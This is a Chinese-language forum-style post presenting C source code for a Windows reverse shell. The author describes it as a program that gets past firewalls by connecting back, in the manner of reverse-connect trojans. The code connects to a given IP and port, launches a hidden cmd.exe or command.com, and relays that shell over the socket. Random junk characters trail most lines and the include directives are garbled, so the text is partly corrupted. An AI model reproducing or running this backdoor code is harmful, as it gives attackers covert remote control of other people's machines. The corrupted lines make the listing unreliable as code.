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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q;m .m2  
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/* ============================== cJ!wZT`  
Rebound port in Windows NT 70 HEu@-  
By wind,2006/7 }xLwv=Ia  
===============================*/ *}ay  
#include "^_p>C)T  
#include ^%go\ C ;  
wjS3ItB  
#pragma comment(lib,"wsock32.lib") l-t:7`=|  
YvBUx#\  
void OutputShell(); 1(q!.lPc  
SOCKET sClient; H1 \~T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >%#J8  
deHBY4@  
void main(int argc,char **argv) ywq{9)vq  
{ Esw&ScBOP  
WSADATA stWsaData; jXZKR(L  
int nRet; HP]Xh~aP  
SOCKADDR_IN stSaiClient,stSaiServer; UY}lJHp0  
WNm,r>6m  
if(argc != 3) S_?}H  
{ >:OOuf#  
printf("Useage:\n\rRebound DestIP DestPort\n"); YI%7#L7C  
return; Oq+C<}eg  
} N_C\L2  
\hi{r@k>}  
WSAStartup(MAKEWORD(2,2),&stWsaData); v{JCEb&wN  
.]r[0U  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _ esFx  
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stSaiClient.sin_family = AF_INET; 'd(}bYr)  
stSaiClient.sin_port = htons(0); cB -XmX/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EVb'x Zr  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !Toq~,a8?  
{ Yv"uIj+']  
printf("Bind Socket Failed!\n"); ANT^&NjJ7  
return; Jb ;el*,K  
} >^<qke  
'?3Hy|}  
stSaiServer.sin_family = AF_INET; =i:?4pIZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *:\QD 8^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !29 Rl`9  
xFg=Tyq:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L?al2aopF  
{ ~0/=5 dC  
printf("Connect Error!"); _;'}P2&Q  
return; .YS[Md{  
} LgBs<2  
OutputShell(); dR$P-V\y`%  
} o"[qPZd>  
OY[N%wr!  
void OutputShell() 7F+f6(hB  
{ xg3G  
char szBuff[1024]; $#t&W&  
SECURITY_ATTRIBUTES stSecurityAttributes; z2"2Xqy<U  
OSVERSIONINFO stOsversionInfo; R?l>Vr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $Q47>/CUc^  
STARTUPINFO stStartupInfo; *l7 ojv  
char *szShell; Bljh'Qp>C  
PROCESS_INFORMATION stProcessInformation; E(u[?  
unsigned long lBytesRead; +?mZ_sf8w  
^~(bm$4r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =FwFqjvl  
.Ta$@sPh}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zaoZCyJT%  
stSecurityAttributes.lpSecurityDescriptor = 0; [f O]oTh  
stSecurityAttributes.bInheritHandle = TRUE; W >B:W0A  
, / 4}CM  
s[xdID^3.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Bb-x1{t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,{E'k+  
Xc Pn  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pdtK3Pf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +d#ZSNu/  
stStartupInfo.wShowWindow = SW_HIDE; ss,6;wfX  
stStartupInfo.hStdInput = hReadPipe; .bpxSU%X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eQ C`e#%  
_k ~bH\(  
GetVersionEx(&stOsversionInfo); ;| \Ojuf  
@<alWBS  
switch(stOsversionInfo.dwPlatformId) ?+5K2Zk  
{ ~hM4({/QN  
case 1: c-s ~q/  
szShell = "command.com"; ->93.sge  
break; snj+-'4T  
default:  \f  
szShell = "cmd.exe"; bZtjg  
break; Mb$&~!  
} M%$zor  
)0UQy#r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O"Xjv`j:  
@Vb-BC,  
send(sClient,szMsg,77,0); M ?F({#]  
while(1) T_\GvSOI  
{ T}4RlIZF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yq;gBIiZ  
if(lBytesRead) lIOLR-:4j  
{ h?$4\^/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uV%7|/fD  
send(sClient,szBuff,lBytesRead,0); m _:ib}  
} bNc=}^  
else I^lb;3uR  
{ ;itz` 9T  
lBytesRead=recv(sClient,szBuff,1024,0); qU=$ 0M  
if(lBytesRead<=0) break; F;MFw2G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S{ *RF)  
} >TtkG|/U-T  
} wt)tLMEv  
m\jp$  
return; meIY00   
}
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